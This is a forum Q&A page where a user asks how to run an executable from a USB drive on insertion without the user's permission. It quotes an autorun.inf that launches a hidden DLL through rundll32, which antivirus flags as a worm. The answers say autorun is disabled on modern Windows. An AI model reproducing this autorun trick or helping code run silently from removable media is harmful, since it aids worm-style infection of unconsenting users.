Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Open a file automatically when USB is inserted

I'm trying to execute a .exe file when a USB flash drive is plugged in - without asking the user for permission. I mean as soon as the USB is plugged in, the program on it (for example: F:\run.exe) should start, without any click made by the user.

I tried this code with shell execute in the autorun.inf file:

[Autorun]
open=
shell\open=Explore
shell\open\Command=rundll32.exe .\\svcpacj.dll,InstallM
shell\open\Default=1

The antivirus software detected this file as a gen worm, but I still cannot run an .exe file.

like image 250
albeck Avatar asked Sep 13 '25 05:09

albeck


2 Answers

This just means autorun is disabled. A good move and if you're working at a company, it's more than likely that your Network Administrator wisely disabled it.

If autorun is disabled, there's not much you'll be able to do to execute the file automatically.

like image 98
Captain Skyhawk Avatar answered Sep 14 '25 20:09

Captain Skyhawk


You can't do this on Windows 7 or Windows 8.

Windows 7 removed this functionality. I guess to prevent viruses from being automatically run.

More reading: https://www.addictivetips.com/windows-tips/autorun-inf-does-not-work-in-windows-7-anymore/

like image 25
Dave Avatar answered Sep 14 '25 19:09

Dave